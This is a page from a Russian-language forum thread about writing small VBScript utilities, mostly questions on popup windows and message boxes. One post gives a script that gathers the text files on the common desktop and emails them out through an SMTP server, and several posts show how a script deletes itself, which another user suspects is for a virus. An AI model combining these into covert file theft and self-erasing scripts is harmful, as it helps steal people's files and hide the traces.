Перейти из форума на сайт.

Новости • Файловые архивы
Поиск • Активные темы • Топ лист
Правила • Кто в on-line?
Вход • Забыли пароль? • Первый раз на этом сайте? • Регистрация
Компьютерный форум Ru.Board » Компьютеры » Прикладное программирование » Программирование "удобняшек" на VBScript

Модерирует : ShIvADeSt

ShIvADeSt (12-07-2011 15:12): http://forum.ru-board.com/topic.cgi?forum=33&topic=11963#1  Версия для печати • Подписаться • Добавить в закладки
Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112

   

stawros

Newbie		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
А можно набросать черновой вариант скрипта? А то мои познания в VBS не так хороши(
Всего записей: 3 | Зарегистр. 15-05-2011 | Отправлено: 19:14 20-05-2011
ComradG



Silver Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
черновой? да как-то так:
Код:
Const COMMON_DESKTOP = &H19&
Const TEXT_FILE = "Текстовый документ"
 
Set objShell = CreateObject("Shell.Application")
Set objItems = objShell.Namespace(COMMON_DESKTOP).Items
Set objEmail = CreateObject("CDO.Message")
 
For Each objItem In objItems
  If objItem.Type = TEXT_FILE Then
    objEmail.From = "my_soap@mail.ru"
    objEmail.To = "soap@mail.ru"
    objEmail.Subject = "Logs"
    objEmail.Textbody = "Look attacment, please."
    objEmail.AddAttachment objItem.Path
 
    objEmail.Configuration.Fields.Item _
       ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    objEmail.Configuration.Fields.Item _
       ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.ru"
    objEmail.Configuration.Fields.Item _
       ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    objEmail.Configuration.Fileds.Item _
       ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    objEmail.Configuration.Fileds.Item _
       ("http://schemas.microsoft.com/cdo/configuration/sendusername") = "login"
    objEmail.Configuration.Fileds.Item _
       ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "password"
    objEmail.Configuration.Fileds.Update
 
    objEmail.Send
  End If
Next
 
Set objEmail = Nothing
Set objItems = Nothing
Set objShell = Nothing
Всего записей: 2041 | Зарегистр. 05-07-2008 | Отправлено: 22:17 21-05-2011
fire4x



Full Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Что прописать в vbs-скрипте для самоудаления?
Всего записей: 503 | Зарегистр. 25-02-2008 | Отправлено: 19:12 02-06-2011
kazavo4ka



Advanced Member		Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
fire4x
Set oFso = CreateObject("Scripting.FileSystemObject")
oFso.DeleteFile "C:\myscript.vbs", True
Всего записей: 1655 | Зарегистр. 17-02-2006 | Отправлено: 19:31 02-06-2011
OSADJAN

Newbie		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Что прописать в vbs-скрипте для самоудаления?

Вирусняк пишешь?

Код:
 
Set mFSO = CreateObject("Scripting.FileSystemObject")
Call mFSO.DeleteFile(WScript.ScriptFullName, True)
'Дописать в конце нужного скрипта.
 

или

Код:
 
Set FSO = CreateObject("Scripting.FileSystemObject")
FSO.DeleteFile WScript.ScriptFullName, 0
' Дописать в конец скрипта
 

 
 
Всего записей: 18 | Зарегистр. 12-02-2011 | Отправлено: 21:42 02-06-2011
fire4x



Full Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
fire4x  
Set oFso = CreateObject("Scripting.FileSystemObject")  
oFso.DeleteFile "C:\myscript.vbs", True

 
Спасибо.
А скрипт без указания в нем своего названия возможно создать?
 
OSADJAN, спасибо за варианты.
 

Цитата:
Вирусняк пишешь?

Я VBS не знаю...
Всего записей: 503 | Зарегистр. 25-02-2008 | Отправлено: 21:50 02-06-2011 | Исправлено: fire4x, 22:16 02-06-2011
kazavo4ka



Advanced Member		Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

Цитата:
А скрипт без указания в нем своего названия возможно создать?

это как? )
Всего записей: 1655 | Зарегистр. 17-02-2006 | Отправлено: 06:14 03-06-2011
fire4x



Full Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
kazavo4ka

Цитата:
Цитата:А скрипт без указания в нем своего названия возможно создать?  
 
это как? )

 

Цитата:
Set oFso = CreateObject("Scripting.FileSystemObject")  
oFso.DeleteFile "C:\myscript.vbs", True

 
OSADJAN уже привел примеры.
 
P.S. Еще одна задача:
Вывести окно с заголовком "заголовок1", содержимым "содержимое1" и двумя кнопками "да" и "нет".
Если нажать "да" - запускается файл 1.exe, если "нет" - 2.exe.
Вывести окно с заголовком "заголовок2", содержимым "содержимое2".
 
Всего записей: 503 | Зарегистр. 25-02-2008 | Отправлено: 11:43 03-06-2011
kazavo4ka



Advanced Member		Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

Цитата:
Вывести окно с заголовком "заголовок1", содержимым "содержимое1" и двумя кнопками "да" и "нет".  
 Если нажать "да" - запускается файл 1.exe, если "нет" - 2.exe.  
 Вывести окно с заголовком "заголовок2", содержимым "содержимое2".

http://msdn.microsoft.com/en-us/library/x83z1d9f(v=vs.85).aspx
Всего записей: 1655 | Зарегистр. 17-02-2006 | Отправлено: 11:59 03-06-2011
fire4x



Full Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
kazavo4ka, а на русском можете "чтиво" посоветовать?
 
P.S. Как его изменить, чтобы заголовок "Question:" сохранялся во всех окнах, а не только в начальном?

Код:
 
Dim wshShell, btn
Set wshShell = WScript.CreateObject("WScript.Shell")
 
' Call the Popup method with a 7 second timeout.
btn = WshShell.Popup("Do you feel alright?", 7, "Question:", &H4 + &H20)
 
Select Case btn
    ' Yes button pressed.
    case 6
        WScript.Echo "Glad to hear you feel alright."
    ' No button pressed.
    case 7
        WScript.Echo "Hope you're feeling better soon."
    ' Timed out.
    case -1
        WScript.Echo "Is there anybody out there?"
End Select
 
Всего записей: 503 | Зарегистр. 25-02-2008 | Отправлено: 12:25 03-06-2011 | Исправлено: fire4x, 12:37 03-06-2011
kazavo4ka



Advanced Member		Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору
fire4x
http://www.script-coding.com/WSH/WshShell.html#3.2.
 
Это первое что нашел. Т.к. в этом плане русскоязычными ресурсами не пользовался, то больше, к сожалению, ничего не могу подсказать
 
Разве что поискать самостоятельно, метод называется Popup (обычно называют WshShell.Popup и т.д.).
 
 
Ну и может пригодится - катал тут для 1С'ников скрипт чтобы автоматически запускать 1С с нужными им параметрами и затем отправлять лог по почте (там и popup есть):
Скрипт [?]
это вариант "полуавтоматический", легко заменяется на автоматический заменой параметров метода popup. Написан корявенько, но работает )
Всего записей: 1655 | Зарегистр. 17-02-2006 | Отправлено: 12:38 03-06-2011 | Исправлено: kazavo4ka, 12:51 03-06-2011
fire4x



Full Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
kazavo4ka, у меня возник вопрос:
если использовать WshShell.Popup, то можно указать заголовок окна, но окно будет обязательно с кнопкой,
если использовать WScript.Echo, то кнопки не будет, он и заголовок не поставить вроде
 
а есть ли вариант окна без кнопок, но со заданием своего заголовка?
есть ли вариант окна без кнопок, но со заданием своего заголовка и таймаутом окна?
 
P.S. Спасибо за ссылки. Буду штудировать.
Всего записей: 503 | Зарегистр. 25-02-2008 | Отправлено: 13:16 03-06-2011
kazavo4ka



Advanced Member		Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

Цитата:
P.S. Как его изменить, чтобы заголовок "Question:" сохранялся во всех окнах, а не только в началь

Насколько я помню, echo не позволяет таких вещей делать. А вот MsgBox и тот же Popup могут, поэтому вместо Echo используй Popup.
 
Добавлено:

Цитата:
если использовать WshShell.Popup, то можно указать заголовок окна, но окно будет обязательно с кнопкой,

но ведь в echo тоже есть кнопка )
 

Цитата:
а есть ли вариант окна без кнопок, но со заданием своего заголовка?
есть ли вариант окна без кнопок, но со заданием своего заголовка и таймаутом окна?

имеешь ввиду чтобы только крестик у окна был и все? Если да, то не знаю как такое сделать в vbs. По-моему в vbscript это вряд ли можно провернуть. Нужно уже что-нибудь типа hta писать (либо пользоваться какими-нибудь сторонними библиотеками, либо смотреть на другой скриптовый язык - тот же power shell, и т.д.).
А вот таймаут в popup'е задается легко
Всего записей: 1655 | Зарегистр. 17-02-2006 | Отправлено: 13:18 03-06-2011 | Исправлено: kazavo4ka, 13:25 03-06-2011
fire4x



Full Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
но ведь в echo тоже есть кнопка )

Упс, есть
 

Цитата:
имеешь ввиду чтобы только крестик у окна был и все?

имел ввиду как popup, но чтобы "не на что нажать" (обычное сообщение без подтверждения)
Всего записей: 503 | Зарегистр. 25-02-2008 | Отправлено: 13:34 03-06-2011 | Исправлено: fire4x, 14:35 03-06-2011
kazavo4ka



Advanced Member		Редактировать | Профиль | Сообщение | ICQ | Цитировать | Сообщить модератору

Цитата:
имел ввиду как popup, но чтобы "не на что нажать" (обычное сообщение без подтверждения)

т.е. насколько я понял, такое же окно как при использовании echo нужно - окно с заголовком + текст + кнопка ок, по нажатию на которую окошко просто закрывается  
 
если я все правильно понял, то в popup на кнопку "ок" повесь холостое действие или exit. И все - получится тоже самое что и в echo
Всего записей: 1655 | Зарегистр. 17-02-2006 | Отправлено: 13:41 03-06-2011 | Исправлено: kazavo4ka, 13:45 03-06-2011
fire4x



Full Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Возможно ли создание окон со своими кнопками - типа вопрос и варианты ответа на выбор?
 
P.S. Какие скрипты кроме ВБС можно запустить на Хрюше и выше без установки дополнительных библиотек и иже с ними?
Всего записей: 503 | Зарегистр. 25-02-2008 | Отправлено: 14:37 03-06-2011
ComradG



Silver Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
Возможно ли создание окон со своими кнопками - типа вопрос и варианты ответа на выбор?
гляди в сторону PowerShell (на XP устанавливается опционально + требует Framework), а на cscript создать свои собственные окна у тебя не получится.

Цитата:
А скрипт без указания в нем своего названия возможно создать?

Код:
Wscript.ScriptName 'вернет только имя скрипта
Wscript.ScriptFullName 'вернет полный путь до скрипта
Всего записей: 2041 | Зарегистр. 05-07-2008 | Отправлено: 15:38 03-06-2011 | Исправлено: ComradG, 15:42 03-06-2011
fire4x



Full Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
В чем разница между:
 

Цитата:
Set FSO = CreateObject("Scripting.FileSystemObject")  
FSO.DeleteFile WScript.ScriptFullName, 0

и
Set FSO = CreateObject("Scripting.FileSystemObject")  
FSO.DeleteFile WScript.ScriptFullName, True
Всего записей: 503 | Зарегистр. 25-02-2008 | Отправлено: 18:20 05-06-2011
smirnvlad

Full Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
fire4x
с True удалит даже если у файла установлен атрибут Только для чтения, с False(0) - нет
Всего записей: 417 | Зарегистр. 31-03-2009 | Отправлено: 18:37 05-06-2011 | Исправлено: smirnvlad, 18:37 05-06-2011
fire4x



Full Member		Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
А как будет выглядеть скрипт, который удалит не только себя, но и папку в которой он лежит?
Всего записей: 503 | Зарегистр. 25-02-2008 | Отправлено: 19:40 05-06-2011
   

Страницы: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112

Компьютерный форум Ru.Board » Компьютеры » Прикладное программирование » Программирование "удобняшек" на VBScript
ShIvADeSt (12-07-2011 15:12): http://forum.ru-board.com/topic.cgi?forum=33&topic=11963#1


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2025

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru